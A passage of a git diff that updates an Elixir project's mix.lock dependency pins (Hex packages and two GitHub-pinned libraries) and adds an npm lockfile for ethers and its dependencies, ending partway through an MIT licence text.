optional: false]}], "hexpm", "8d66289f77f913b37eda81fd287340c17e61a447549deb28efc254532b2bed82"}, - "prometheus_ex": {:hex, :prometheus_ex, "3.0.5", "fa58cfd983487fc5ead331e9a3e0aa622c67232b3ec71710ced122c4c453a02f", [:mix], [{:prometheus, "~> 4.0", [hex: :prometheus, repo: "hexpm", optional: false]}], "hexpm", "9fd13404a48437e044b288b41f76e64acd9735fb8b0e3809f494811dfa66d0fb"}, + "prometheus_ex": {:hex, :prometheus_ex, "5.0.0", "8e5514e385d5408b559792698dee2cfa60faed3b354d2a1046622923ecad4a68", [:mix], [{:prometheus, "~> 6.0", [hex: :prometheus, repo: "hexpm", optional: false]}], "hexpm", "148bf80b110799362152e4bb154b508cba233456a171b5de6fe97e652bc90019"}, "prometheus_phoenix": {:hex, :prometheus_phoenix, "1.3.0", "c4b527e0b3a9ef1af26bdcfbfad3998f37795b9185d475ca610fe4388fdd3bb5", [:mix], [{:phoenix, "~> 1.4", [hex: :phoenix, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.3 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}], "hexpm", "c4d1404ac4e9d3d963da601db2a7d8ea31194f0017057fabf0cfb9bf5a6c8c75"}, "prometheus_plugs": {:hex, :prometheus_plugs, "1.1.5", "25933d48f8af3a5941dd7b621c889749894d8a1082a6ff7c67cc99dec26377c5", [:mix], [{:accept, "~> 0.1", [hex: :accept, repo: "hexpm", optional: false]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}, {:prometheus_ex, "~> 1.1 or ~> 2.0 or ~> 3.0", [hex: :prometheus_ex, repo: "hexpm", optional: false]}, {:prometheus_process_collector, "~> 1.1", [hex: :prometheus_process_collector, repo: "hexpm", optional: true]}], "hexpm", "0273a6483ccb936d79ca19b0ab629aef0dba958697c94782bb728b920dfc6a79"}, - "prometheus_process_collector": {:hex, :prometheus_process_collector, "1.6.0", "b169e224337497cd858da16f9361edabc5931b9d12201a97ee15d88ef5a6fcaa", [:rebar3], [{:prometheus, "~> 4.0", [hex: :prometheus, repo: "hexpm", optional: false]}], "hexpm", "e9cd9846f204de7a04863f56308d8d1193bec714210bf6374d9d4fc088d2896d"}, + "prometheus_process_collector": {:git, "https://github.com/Phybbit/prometheus_process_collector.git", "3dc94dcff422d7b9cbd7ddf6bf2a896446705f3f", [ref: "3dc94dcff422d7b9cbd7ddf6bf2a896446705f3f"]}, "qrcode": {:hex, :qrcode, "0.1.5", "551271830515c150f34568345b060c625deb0e6691db2a01b0a6de3aafc93886", [:mix], [], "hexpm", "a266b7fb7be0d3b713912055dde3575927eca920e5d604ded45cd534f6b7a447"}, - "quantile_estimator": {:hex, :quantile_estimator, "0.2.1", "ef50a361f11b5f26b5f16d0696e46a9e4661756492c981f7b2229ef42ff1cd15", [:rebar3], [], "hexpm", "282a8a323ca2a845c9e6f787d166348f776c1d4a41ede63046d72d422e3da946"}, "que": {:hex, :que, "0.10.1", "788ed0ec92ed69bdf9cfb29bf41a94ca6355b8d44959bd0669cf706e557ac891", [:mix], [{:ex_utils, "~> 0.1.6", [hex: :ex_utils, repo: "hexpm", optional: false]}, {:memento, "~> 0.3.0", [hex: :memento, repo: "hexpm", optional: false]}], "hexpm", "a737b365253e75dbd24b2d51acc1d851049e87baae08cd0c94e2bc5cd65088d5"}, - "ranch": {:hex, :ranch, "1.8.0", "8c7a100a139fd57f17327b6413e4167ac559fbc04ca7448e9be9057311597a1d", [:make, :rebar3], [], "hexpm", "49fbcfd3682fab1f5d109351b61257676da1a2fdbe295904176d5e521a2ddfe5"}, - "ratio": {:hex, :ratio, "2.4.2", "c8518f3536d49b1b00d88dd20d49f8b11abb7819638093314a6348139f14f9f9", [:mix], [{:decimal, "~> 1.6 or ~> 2.0", [hex: :decimal, repo: "hexpm", optional: true]}, {:numbers, "~> 5.2.0", [hex: :numbers, repo: "hexpm", optional: false]}], "hexpm", "441ef6f73172a3503de65ccf1769030997b0d533b1039422f1e5e0e0b4cbf89e"}, - "remote_ip": {:hex, :remote_ip, "1.0.0", "3d7fb45204a5704443f480cee9515e464997f52c35e0a60b6ece1f81484067ae", [:mix], [{:combine, "~> 0.10", [hex: :combine, repo: "hexpm", optional: false]}, {:plug, "~> 1.10", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "9e9fcad4e50c43b5234bb6a9629ed6ab223f3ed07147bd35470e4ee5c8caf907"}, - "rustler": {:hex, :rustler, "0.24.0", "b8362a2fee1c9d2c7373b0bfdc98f75bbc02864efcec50df173fe6c4f72d4cc4", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:toml, "~> 0.6", [hex: :toml, repo: "hexpm", optional: false]}], "hexpm", "2773167fca68a6525822ad977b41368ea3c2af876c42ebaa7c9d6bb69b67f1ce"}, - "sobelow": {:hex, :sobelow, "0.11.1", "23438964486f8112b41e743bbfd402da3e5b296fdc9eacab29914b79c48916dd", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "9897363a7eff96f4809304a90aad819e2ad5e5d24db547af502885146746a53c"}, - "spandex": {:hex, :spandex, "3.1.0", "e43df29af70f6f0c13ddd07a5e68650e13dd2a76c6215977c651e64412e8ebee", [:mix], [{:decorator, "~> 1.2", [hex: :decorator, repo: "hexpm", optional: true]}, {:optimal, "~> 0.3.3", [hex: :optimal, repo: "hexpm", optional: false]}, {:plug, ">= 1.0.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "6b053ab307856e34237f06a5ea931eeadf78bdd6f00a49bbfb4103e004a3d3c7"}, - "spandex_datadog": {:hex, :spandex_datadog, "1.2.0", "007600250cfa17535138d1e56a4948222285150dfeb0e7a92e55fcf11d5f82f3", [:mix], [{:msgpax, "~> 2.2.1 or ~> 2.3", [hex: :msgpax, repo: "hexpm", optional: false]}, {:spandex, "~> 3.0", [hex: :spandex, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4.2 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "f11cd7c2d9ef6c2958b055c5ac00541435144e8ff9594860b40dbada7702a656"}, + "ranch": {:hex, :ranch, "1.8.1", "208169e65292ac5d333d6cdbad49388c1ae198136e4697ae2f474697140f201c", [:make, :rebar3], [], "hexpm", "aed58910f4e21deea992a67bf51632b6d60114895eb03bb392bb733064594dd0"}, + "recon": {:hex, :recon, "2.5.6", "9052588e83bfedfd9b72e1034532aee2a5369d9d9343b61aeb7fbce761010741", [:mix, :rebar3], [], "hexpm", "96c6799792d735cc0f0fd0f86267e9d351e63339cbe03df9d162010cefc26bb0"}, + "redix": {:hex, :redix, "1.5.2", "ab854435a663f01ce7b7847f42f5da067eea7a3a10c0a9d560fa52038fd7ab48", [:mix], [{:castore, "~> 0.1.0 or ~> 1.0", [hex: :castore, repo: "hexpm", optional: true]}, {:nimble_options, "~> 0.5.0 or ~> 1.0", [hex: :nimble_options, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4.0 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "78538d184231a5d6912f20567d76a49d1be7d3fca0e1aaaa20f4df8e1142dcb8"}, + "remote_ip": {:hex, :remote_ip, "1.2.0", "fb078e12a44414f4cef5a75963c33008fe169b806572ccd17257c208a7bc760f", [:mix], [{:combine, "~> 0.10", [hex: :combine, repo: "hexpm", optional: false]}, {:plug, "~> 1.14", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "2ff91de19c48149ce19ed230a81d377186e4412552a597d6a5137373e5877cb7"}, + "req": {:hex, :req, "0.5.6", "8fe1eead4a085510fe3d51ad854ca8f20a622aae46e97b302f499dfb84f726ac", [:mix], [{:brotli, "~> 0.3.1", [hex: :brotli, repo: "hexpm", optional: true]}, {:ezstd, "~> 1.0", [hex: :ezstd, repo: "hexpm", optional: true]}, {:finch, "~> 0.17", [hex: :finch, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:mime, "~> 2.0.6 or ~> 2.1", [hex: :mime, repo: "hexpm", optional: false]}, {:nimble_csv, "~> 1.0", [hex: :nimble_csv, repo: "hexpm", optional: true]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: true]}], "hexpm", "cfaa8e720945d46654853de39d368f40362c2641c4b2153c886418914b372185"}, + "rustler_precompiled": {:hex, :rustler_precompiled, "0.8.3", "4e741024b0b097fe783add06e53ae9a6f23ddc78df1010f215df0c02915ef5a8", [:mix], [{:castore, "~> 0.1 or ~> 1.0", [hex: :castore, repo: "hexpm", optional: false]}, {:rustler, "~> 0.23", [hex: :rustler, repo: "hexpm", optional: true]}], "hexpm", "c23f5f33cb6608542de4d04faf0f0291458c352a4648e4d28d17ee1098cddcc4"}, + "siwe": {:git, "https://github.com/royal-markets/siwe-ex.git", "51c9c08240eb7eea3c35693011f8d260cd9bb3be", [ref: "51c9c08240eb7eea3c35693011f8d260cd9bb3be"]}, + "sleeplocks": {:hex, :sleeplocks, "1.1.3", "96a86460cc33b435c7310dbd27ec82ca2c1f24ae38e34f8edde97f756503441a", [:rebar3], [], "hexpm", "d3b3958552e6eb16f463921e70ae7c767519ef8f5be46d7696cc1ed649421321"}, + "sobelow": {:hex, :sobelow, "0.14.0", "dd82aae8f72503f924fe9dd97ffe4ca694d2f17ec463dcfd365987c9752af6ee", [:mix], [{:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}], "hexpm", "7ecf91e298acfd9b24f5d761f19e8f6e6ac585b9387fb6301023f1f2cd5eed5f"}, + "spandex": {:hex, :spandex, "3.2.0", "f8cd40146ea988c87f3c14054150c9a47ba17e53cd4515c00e1f93c29c45404d", [:mix], [{:decorator, "~> 1.2", [hex: :decorator, repo: "hexpm", optional: true]}, {:optimal, "~> 0.3.3", [hex: :optimal, repo: "hexpm", optional: false]}, {:plug, "~> 1.0", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "d0a7d5aef4c5af9cf5467f2003e8a5d8d2bdae3823a6cc95d776b9a2251d4d03"}, + "spandex_datadog": {:hex, :spandex_datadog, "1.4.0", "0594b9655b0af00ab9137122616bc0208b68ceec01e9916ab13d6fbb33dcce35", [:mix], [{:msgpax, "~> 2.2.1 or ~> 2.3", [hex: :msgpax, repo: "hexpm", optional: false]}, {:spandex, "~> 3.2", [hex: :spandex, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4.2 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: false]}], "hexpm", "360f8e1b4db238c1749c4872b1697b096429927fa42b8858d0bb782067380123"}, "spandex_ecto": {:hex, :spandex_ecto, "0.7.0", "259ad2feb7c834e774ec623f99c0fbacca8d60a73be212f92b75e37f853c81be", [:mix], [{:spandex, "~> 2.2 or ~> 3.0", [hex: :spandex, repo: "hexpm", optional: false]}], "hexpm", "c64784be79d95538013b7c60828830411c5c7aff1f4e8d66dfe564b3c83b500e"}, - "spandex_phoenix": {:hex, :spandex_phoenix, "1.0.6", "b2caf99cd37cf5c501c89de6099b07a8efab31747dbd63ed2fff802bb02c6937", [:mix], [{:optimal, "~> 0.3", [hex: :optimal, repo: "hexpm", optional: false]}, {:phoenix, "~> 1.0", [hex: :phoenix, repo: "hexpm", optional: true]}, {:plug, "~> 1.3", [hex: :plug, repo: "hexpm", optional: false]}, {:spandex, "~> 2.2 or ~> 3.0", [hex: :spandex, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: true]}], "hexpm", "e286d4bfe6917ecddf56b47553322b55bdc328326b7d86a6c35b4835679e9784"}, - "ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.6", "cf344f5692c82d2cd7554f5ec8fd961548d4fd09e7d22f5b62482e5aeaebd4b0", [:make, :mix, :rebar3], [], "hexpm", "bdb0d2471f453c88ff3908e7686f86f9be327d065cc1ec16fa4540197ea04680"}, + "spandex_phoenix": {:hex, :spandex_phoenix, "1.1.0", "9cff829d05258dd49a227c56711b19b69a8fd5d4873d8e9a92a4f4097e7322ab", [:mix], [{:phoenix, "~> 1.0", [hex: :phoenix, repo: "hexpm", optional: true]}, {:plug, "~> 1.3", [hex: :plug, repo: "hexpm", optional: false]}, {:spandex, "~> 2.2 or ~> 3.0", [hex: :spandex, repo: "hexpm", optional: false]}, {:telemetry, "~> 0.4 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: true]}], "hexpm", "265fe05c1736485fbb75d66ef7576682ebf6428c391dd54d22217f612fd4ddad"}, + "ssl_verify_fun": {:hex, :ssl_verify_fun, "1.1.7", "354c321cf377240c7b8716899e182ce4890c5938111a1296add3ec74cf1715df", [:make, :mix, :rebar3], [], "hexpm", "fe4c190e8f37401d30167c8c405eda19469f34577987c76dde613e838bbc67f8"}, "statistex": {:hex, :statistex, "1.0.0", "f3dc93f3c0c6c92e5f291704cf62b99b553253d7969e9a5fa713e5481cd858a5", [:mix], [], "hexpm", "ff9d8bee7035028ab4742ff52fc80a2aa35cece833cf5319009b52f1b5a86c27"}, - "telemetry": {:hex, :telemetry, "0.4.3", "a06428a514bdbc63293cd9a6263aad00ddeb66f608163bdec7c8995784080818", [:rebar3], [], "hexpm", "eb72b8365ffda5bed68a620d1da88525e326cb82a75ee61354fc24b844768041"}, - "tesla": {:hex, :tesla, "1.4.4", "bb89aa0c9745190930366f6a2ac612cdf2d0e4d7fff449861baa7875afd797b2", [:mix], [{:castore, "~> 0.1", [hex: :castore, repo: "hexpm", optional: true]}, {:exjsx, ">= 3.0.0", [hex: :exjsx, repo: "hexpm", optional: true]}, {:finch, "~> 0.3", [hex: :finch, repo: "hexpm", optional: true]}, {:fuse, "~> 2.4", [hex: :fuse, repo: "hexpm", optional: true]}, {:gun, "~> 1.3", [hex: :gun, repo: "hexpm", optional: true]}, {:hackney, "~> 1.6", [hex: :hackney, repo: "hexpm", optional: true]}, {:ibrowse, "4.4.0", [hex: :ibrowse, repo: "hexpm", optional: true]}, {:jason, ">= 1.0.0", [hex: :jason, repo: "hexpm", optional: true]}, {:mime, "~> 1.0 or ~> 2.0", [hex: :mime, repo: "hexpm", optional: false]}, {:mint, "~> 1.0", [hex: :mint, repo: "hexpm", optional: true]}, {:poison, ">= 1.0.0", [hex: :poison, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: true]}], "hexpm", "d5503a49f9dec1b287567ea8712d085947e247cb11b06bc54adb05bfde466457"}, - "timex": {:hex, :timex, "3.7.9", "790cdfc4acfce434e442f98c02ea6d84d0239073bfd668968f82ac63e9a6788d", [:mix], [{:combine, "~> 0.10", [hex: :combine, repo: "hexpm", optional: false]}, {:gettext, "~> 0.10", [hex: :gettext, repo: "hexpm", optional: false]}, {:tzdata, "~> 1.1", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm", "64691582e5bb87130f721fc709acfb70f24405833998fabf35be968984860ce1"}, - "toml": {:hex, :toml, "0.6.2", "38f445df384a17e5d382befe30e3489112a48d3ba4c459e543f748c2f25dd4d1", [:mix], [], "hexpm", "d013e45126d74c0c26a38d31f5e8e9b83ea19fc752470feb9a86071ca5a672fa"}, - "tzdata": {:hex, :tzdata, "1.1.1", "20c8043476dfda8504952d00adac41c6eda23912278add38edc140ae0c5bcc46", [:mix], [{:hackney, "~> 1.17", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "a69cec8352eafcd2e198dea28a34113b60fdc6cb57eb5ad65c10292a6ba89787"}, - "unicode_util_compat": {:hex, :unicode_util_compat, "0.7.0", "bc84380c9ab48177092f43ac89e4dfa2c6d62b40b8bd132b1059ecc7232f9a78", [:rebar3], [], "hexpm", "25eee6d67df61960cf6a794239566599b09e17e668d3700247bc498638152521"}, - "wallaby": {:hex, :wallaby, "0.30.1", "81342a34080867ab359aca23de4d1d8c6bbdeb35d8ce2a8c42e42b758d539963", [:mix], [{:ecto_sql, ">= 3.0.0", [hex: :ecto_sql, repo: "hexpm", optional: true]}, {:httpoison, "~> 0.12 or ~> 1.0", [hex: :httpoison, repo: "hexpm", optional: false]}, {:jason, "~> 1.1", [hex: :jason, repo: "hexpm", optional: false]}, {:phoenix_ecto, ">= 3.0.0", [hex: :phoenix_ecto, repo: "hexpm", optional: true]}, {:web_driver_client, "~> 0.2.0", [hex: :web_driver_client, repo: "hexpm", optional: false]}], "hexpm", "457251df6a94ff80816524136edbce6400cb1ee979586c90224ff634e9543d78"}, + "sweet_xml": {:hex, :sweet_xml, "0.7.5", "803a563113981aaac202a1dbd39771562d0ad31004ddbfc9b5090bdcd5605277", [:mix], [], "hexpm", "193b28a9b12891cae351d81a0cead165ffe67df1b73fe5866d10629f4faefb12"}, + "telemetry": {:hex, :telemetry, "1.3.0", "fedebbae410d715cf8e7062c96a1ef32ec22e764197f70cda73d82778d61e7a2", [:rebar3], [], "hexpm", "7015fc8919dbe63764f4b4b87a95b7c0996bd539e0d499be6ec9d7f3875b79e6"}, + "tesla": {:hex, :tesla, "1.15.3", "3a2b5c37f09629b8dcf5d028fbafc9143c0099753559d7fe567eaabfbd9b8663", [:mix], [{:castore, "~> 0.1 or ~> 1.0", [hex: :castore, repo: "hexpm", optional: true]}, {:exjsx, ">= 3.0.0", [hex: :exjsx, repo: "hexpm", optional: true]}, {:finch, "~> 0.13", [hex: :finch, repo: "hexpm", optional: true]}, {:fuse, "~> 2.4", [hex: :fuse, repo: "hexpm", optional: true]}, {:gun, ">= 1.0.0", [hex: :gun, repo: "hexpm", optional: true]}, {:hackney, "~> 1.21", [hex: :hackney, repo: "hexpm", optional: true]}, {:ibrowse, "4.4.2", [hex: :ibrowse, repo: "hexpm", optional: true]}, {:jason, ">= 1.0.0", [hex: :jason, repo: "hexpm", optional: true]}, {:mime, "~> 1.0 or ~> 2.0", [hex: :mime, repo: "hexpm", optional: false]}, {:mint, "~> 1.0", [hex: :mint, repo: "hexpm", optional: true]}, {:mox, "~> 1.0", [hex: :mox, repo: "hexpm", optional: true]}, {:msgpax, "~> 2.3", [hex: :msgpax, repo: "hexpm", optional: true]}, {:poison, ">= 1.0.0", [hex: :poison, repo: "hexpm", optional: true]}, {:telemetry, "~> 0.4 or ~> 1.0", [hex: :telemetry, repo: "hexpm", optional: true]}], "hexpm", "98bb3d4558abc67b92fb7be4cd31bb57ca8d80792de26870d362974b58caeda7"}, + "timex": {:hex, :timex, "3.7.13", "0688ce11950f5b65e154e42b47bf67b15d3bc0e0c3def62199991b8a8079a1e2", [:mix], [{:combine, "~> 0.10", [hex: :combine, repo: "hexpm", optional: false]}, {:gettext, "~> 0.26", [hex: :gettext, repo: "hexpm", optional: false]}, {:tzdata, "~> 1.1", [hex: :tzdata, repo: "hexpm", optional: false]}], "hexpm", "09588e0522669328e973b8b4fd8741246321b3f0d32735b589f78b136e6d4c54"}, + "ton": {:hex, :ton, "0.5.1", "79745434a93e5f7de3572fdcf04feb048620f0edab9794fc412a73528672927d", [:mix], [{:cafezinho, "~> 0.4.4", [hex: :cafezinho, repo: "hexpm", optional: false]}, {:evil_crc32c, "~> 0.2.9", [hex: :evil_crc32c, repo: "hexpm", optional: false]}, {:ex_pbkdf2, "~> 0.8.4", [hex: :ex_pbkdf2, repo: "hexpm", optional: false]}, {:mnemoniac, "~> 0.1.4", [hex: :mnemoniac, repo: "hexpm", optional: false]}], "hexpm", "916f656c870902a61690347da9500c5ce27f04c02e02441363bac7b128030f07"}, + "typed_ecto_schema": {:hex, :typed_ecto_schema, "0.4.3", "1e5f3b6c763f9b5725975d3ab7f1554525f1f1399b966f2425acf04f9d8dd4fe", [:mix], [{:ecto, "~> 3.5", [hex: :ecto, repo: "hexpm", optional: false]}], "hexpm", "dcbd9b35b9fda5fa9258e0ae629a99cf4473bd7adfb85785d3f71dfe7a9b2bc0"}, + "tzdata": {:hex, :tzdata, "1.1.3", "b1cef7bb6de1de90d4ddc25d33892b32830f907e7fc2fccd1e7e22778ab7dfbc", [:mix], [{:hackney, "~> 1.17", [hex: :hackney, repo: "hexpm", optional: false]}], "hexpm", "d4ca85575a064d29d4e94253ee95912edfb165938743dbf002acdf0dcecb0c28"}, + "ueberauth": {:hex, :ueberauth, "0.10.8", "ba78fbcbb27d811a6cd06ad851793aaf7d27c3b30c9e95349c2c362b344cd8f0", [:mix], [{:plug, "~> 1.5", [hex: :plug, repo: "hexpm", optional: false]}], "hexpm", "f2d3172e52821375bccb8460e5fa5cb91cfd60b19b636b6e57e9759b6f8c10c1"}, + "ueberauth_auth0": {:hex, :ueberauth_auth0, "2.1.0", "0632d5844049fa2f26823f15e1120aa32f27df6f27ce515a4b04641736594bf4", [:mix], [{:oauth2, "~> 2.0", [hex: :oauth2, repo: "hexpm", optional: false]}, {:ueberauth, "~> 0.7", [hex: :ueberauth, repo: "hexpm", optional: false]}], "hexpm", "8d3b30fa27c95c9e82c30c4afb016251405706d2e9627e603c3c9787fd1314fc"}, + "unicode_util_compat": {:hex, :unicode_util_compat, "0.7.1", "a48703a25c170eedadca83b11e88985af08d35f37c6f664d6dcfb106a97782fc", [:rebar3], [], "hexpm", "b3a917854ce3ae233619744ad1e0102e05673136776fb2fa76234f3e03b23642"}, + "unsafe": {:hex, :unsafe, "1.0.2", "23c6be12f6c1605364801f4b47007c0c159497d0446ad378b5cf05f1855c0581", [:mix], [], "hexpm", "b485231683c3ab01a9cd44cb4a79f152c6f3bb87358439c6f68791b85c2df675"}, + "varint": {:hex, :varint, "1.5.1", "17160c70d0428c3f8a7585e182468cac10bbf165c2360cf2328aaa39d3fb1795", [:mix], [], "hexpm", "24f3deb61e91cb988056de79d06f01161dd01be5e0acae61d8d936a552f1be73"}, + "vix": {:hex, :vix, "0.35.0", "f6319b715e3b072e53eba456a21af5f2ff010a7a7b19b884600ea98a0609b18c", [:make, :mix], [{:cc_precompiler, "~> 0.1.4 or ~> 0.2", [hex: :cc_precompiler, repo: "hexpm", optional: false]}, {:elixir_make, "~> 0.7.3 or ~> 0.8", [hex: :elixir_make, repo: "hexpm", optional: false]}, {:kino, "~> 0.7", [hex: :kino, repo: "hexpm", optional: true]}], "hexpm", "a3e80067a89d0631b6cf2b93594e03c1b303a2c7cddbbdd28040750d521984e5"}, + "wallaby": {:hex, :wallaby, "0.30.10", "574afb8796521252daf49a4cd76a1c389d53cae5897f2d4b5f55dfae159c8e50", [:mix], [{:ecto_sql, ">= 3.0.0", [hex: :ecto_sql, repo: "hexpm", optional: true]}, {:httpoison, "~> 0.12 or ~> 1.0 or ~> 2.0", [hex: :httpoison, repo: "hexpm", optional: false]}, {:jason, "~> 1.1", [hex: :jason, repo: "hexpm", optional: false]}, {:phoenix_ecto, ">= 3.0.0", [hex: :phoenix_ecto, repo: "hexpm", optional: true]}, {:web_driver_client, "~> 0.2.0", [hex: :web_driver_client, repo: "hexpm", optional: false]}], "hexpm", "a8f89b92d8acce37a94b5dfae6075c2ef00cb3689d6333f5f36c04b381c077b2"}, "web_driver_client": {:hex, :web_driver_client, "0.2.0", "63b76cd9eb3b0716ec5467a0f8bead73d3d9612e63f7560d21357f03ad86e31a", [:mix], [{:hackney, "~> 1.6", [hex: :hackney, repo: "hexpm", optional: false]}, {:jason, "~> 1.0", [hex: :jason, repo: "hexpm", optional: false]}, {:tesla, "~> 1.3", [hex: :tesla, repo: "hexpm", optional: false]}], "hexpm", "83cc6092bc3e74926d1c8455f0ce927d5d1d36707b74d9a65e38c084aab0350f"}, - "websocket_client": {:hex, :websocket_client, "1.3.0", "2275d7daaa1cdacebf2068891c9844b15f4fdc3de3ec2602420c2fb486db59b6", [:rebar3], [], "hexpm", "b864fa076f059b615da4ab99240e515b26132ce4d2d0f9df5d7f22f01fa04b65"}, - "wobserver": {:git, "https://github.com/poanetwork/wobserver.git", "13bcda30a87f4f0be1878920a79433ad831eefbe", [branch: "support-https"]}, + "websockex": {:hex, :websockex, "0.4.3", "92b7905769c79c6480c02daacaca2ddd49de936d912976a4d3c923723b647bf0", [:mix], [], "hexpm", "95f2e7072b85a3a4cc385602d42115b73ce0b74a9121d0d6dbbf557645ac53e4"}, + "ymlr": {:hex, :ymlr, "5.1.4", "b924d61e1fc1ec371cde6ab3ccd9311110b1e052fc5c2460fb322e8380e7712a", [:mix], [], "hexpm", "75f16cf0709fbd911b30311a0359a7aa4b5476346c01882addefd5f2b1cfaa51"}, } diff --git a/node_modules/.package-lock.json b/node_modules/.package-lock.json new file mode 100644 index 000000000000..d46d937f8535 --- /dev/null +++ b/node_modules/.package-lock.json @@ -0,0 +1,104 @@ +{ + "name": "workspace", + "lockfileVersion": 3, + "requires": true, + "packages": { + "node_modules/@adraffy/ens-normalize": { + "version": "1.10.1", + "resolved": "https://registry.npmjs.org/@adraffy/ens-normalize/-/ens-normalize-1.10.1.tgz", + "integrity": "sha512-96Z2IP3mYmF1Xg2cDm8f1gWGf/HUVedQ3FMifV4kG/PQ4yEP51xDtRAEfhVNt5f/uzpNkZHwWQuUcu6D6K+Ekw==" + }, + "node_modules/@noble/curves": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/@noble/curves/-/curves-1.2.0.tgz", + "integrity": "sha512-oYclrNgRaM9SsBUBVbb8M6DTV7ZHRTKugureoYEncY5c65HOmRzvSiTE3y5CYaPYJA/GVkrhXEoF0M3Ya9PMnw==", + "dependencies": { + "@noble/hashes": "1.3.2" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@noble/hashes": { + "version": "1.3.2", + "resolved": "https://registry.npmjs.org/@noble/hashes/-/hashes-1.3.2.tgz", + "integrity": "sha512-MVC8EAQp7MvEcm30KWENFjgR+Mkmf+D189XJTkFIlwohU5hcBbn1ZkKq7KVTi2Hme3PMGF390DaL52beVrIihQ==", + "engines": { + "node": ">= 16" + }, + "funding": { + "url": "https://paulmillr.com/funding/" + } + }, + "node_modules/@types/node": { + "version": "22.7.5", + "resolved": "https://registry.npmjs.org/@types/node/-/node-22.7.5.tgz", + "integrity": "sha512-jML7s2NAzMWc//QSJ1a3prpk78cOPchGvXJsC3C6R6PSMoooztvRVQEz89gmBTBY1SPMaqo5teB4uNHPdetShQ==", + "dependencies": { + "undici-types": "~6.19.2" + } + }, + "node_modules/aes-js": { + "version": "4.0.0-beta.5", + "resolved": "https://registry.npmjs.org/aes-js/-/aes-js-4.0.0-beta.5.tgz", + "integrity": "sha512-G965FqalsNyrPqgEGON7nIx1e/OVENSgiEIzyC63haUMuvNnwIgIjMs52hlTCKhkBny7A2ORNlfY9Zu+jmGk1Q==" + }, + "node_modules/ethers": { + "version": "6.15.0", + "resolved": "https://registry.npmjs.org/ethers/-/ethers-6.15.0.tgz", + "integrity": "sha512-Kf/3ZW54L4UT0pZtsY/rf+EkBU7Qi5nnhonjUb8yTXcxH3cdcWrV2cRyk0Xk/4jK6OoHhxxZHriyhje20If2hQ==", + "funding": [ + { + "type": "individual", + "url": "https://github.com/sponsors/ethers-io/" + }, + { + "type": "individual", + "url": "https://www.buymeacoffee.com/ricmoo" + } + ], + "dependencies": { + "@adraffy/ens-normalize": "1.10.1", + "@noble/curves": "1.2.0", + "@noble/hashes": "1.3.2", + "@types/node": "22.7.5", + "aes-js": "4.0.0-beta.5", + "tslib": "2.7.0", + "ws": "8.17.1" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/tslib": { + "version": "2.7.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.7.0.tgz", + "integrity": "sha512-gLXCKdN1/j47AiHiOkJN69hJmcbGTHI0ImLmbYLHykhgeN0jVGola9yVjFgzCUklsZQMW55o+dW7IXv3RCXDzA==" + }, + "node_modules/undici-types": { + "version": "6.19.8", + "resolved": "https://registry.npmjs.org/undici-types/-/undici-types-6.19.8.tgz", + "integrity": "sha512-ve2KP6f/JnbPBFyobGHuerC9g1FYGn/F8n1LWTwNxCEzd6IfqTwUQcNXgEtmmQ6DlRrC1hrSrBnCZPokRrDHjw==" + }, + "node_modules/ws": { + "version": "8.17.1", + "resolved": "https://registry.npmjs.org/ws/-/ws-8.17.1.tgz", + "integrity": "sha512-6XQFvXTkbfUOZOKKILFG1PDK2NDQs4azKQl26T0YS5CxqWLgXajbPZ+h4gZekJyRqFU8pvnbAbbs/3TgRPy+GQ==", + "engines": { + "node": ">=10.0.0" + }, + "peerDependencies": { + "bufferutil": "^4.0.1", + "utf-8-validate": ">=5.0.2" + }, + "peerDependenciesMeta": { + "bufferutil": { + "optional": true + }, + "utf-8-validate": { + "optional": true + } + } + } + } +} diff --git a/node_modules/@adraffy/ens-normalize/LICENSE b/node_modules/@adraffy/ens-normalize/LICENSE new file mode 100644 index 000000000000..c8a213d0cd24 --- /dev/null +++ b/node_modules/@adraffy/ens-normalize/LICENSE @@ -0,0 +1,21 @@ +MIT License + +Copyright (c) 2021 Andrew Raffensperger + +Permission is hereby granted, free of charge, to any person obtaining a copy +of this software and associated documentation files (the "Software"), to deal +in the Software without restriction, including without limitation the rights +to use, copy, modify, merge, publish, distribute, sublicense, and/or sell +copies of the Software, and to permit persons to whom the Software is +furnished to do so, subject to the following conditions: + +The above copyright notice and this permission notice shall be included in all +copies or substantial portions of the Software. + +THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR +IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, +FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE +AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER +LIABILITY, WHETHER IN AN ACTION OF CONTRACT, 